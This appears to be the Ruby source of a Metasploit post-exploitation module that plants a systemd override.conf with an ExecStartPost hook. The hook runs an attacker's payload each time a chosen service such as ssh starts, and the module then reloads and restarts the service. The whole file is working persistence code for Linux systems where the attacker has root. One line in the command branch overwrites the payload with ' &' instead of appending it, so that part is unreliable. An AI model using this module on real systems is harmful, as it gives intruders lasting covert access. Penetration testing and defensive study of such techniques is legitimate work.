Service SystemD override.conf Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service SystemD override.conf Persistence',
        'Description' => %q{
          This module will create an override.conf file for a SystemD service on the box.
          The ExecStartPost hook is used to launch the payload after the service is started.
          We need enough access (typically root) to write in the /etc/systemd/system
          directory and potentially restart services.
          Verified on Ubuntu 22.04
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => ['unix', 'linux'],
        'Privileged' => true,
        'Targets' => [
          ['systemd', {}],
          ['systemd user', {}]
        ],
        'DefaultTarget' => 0,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
          ['URL', 'https://askubuntu.com/a/659268'],
          ['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '2010-03-30' # systemd release date
      )
    )

    register_options(
      [
        OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
      ]
    )
    register_advanced_options(
      [
        OptBool.new('ReloadService', [true, 'Reload the service', true])
      ]
    )
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')

    root_dir = '/lib/systemd/system/'
    service_file = "#{root_dir}#{datastore['SERVICE']}.service"

    return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)

    service_root_dir = '/etc/systemd/system/'
    service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
    override_conf = "#{service_dir}/override.conf"

    if directory?(service_dir)
      return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
      return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
    else
      return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
    end

    CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
  end

  def install_persistence
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')

    service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
    override_conf = "#{service_dir}/override.conf"

    unless exists?(service_dir)
      vprint_status("Creating #{service_dir}")
      create_process('mkdir', args: ['-p', service_dir])
    end

    if exists?(override_conf)
      conf = read_file(override_conf)
      backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
      vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
      @clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
    else
      @clean_up_rc << "rm #{override_conf}\n"
    end

    if payload.arch.first == 'cmd'
      p_load = payload.encoded
      p_load = ' &' unless p_load.end_with?('&')
      contents = <<~OVERRIDE
        [Service]
        ExecStartPost=/bin/sh -c '#{p_load}'
      OVERRIDE
    else
      payload_path = writable_dir
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
      payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
      payload_path << payload_name
      print_status("Uploading payload file to #{payload_path}")
      upload_and_chmodx payload_path, generate_payload_exe
      contents = <<~OVERRIDE
        [Service]
        ExecStartPost=/bin/sh -c '#{payload_path} &'
      OVERRIDE
    end

    vprint_status("Writing override file to: #{override_conf}")
    write_file(override_conf, contents)

    # This was taken from pam_systemd(8)
    systemd_socket_id = cmd_exec('id -u')
    systemd_socket_dir = "/run/user/#{systemd_socket_id}"
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")

    @clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"
    @clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""

    if datastore['ReloadService']
      vprint_status("Reloading #{datastore['SERVICE']} service")
      cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
    end
  end
end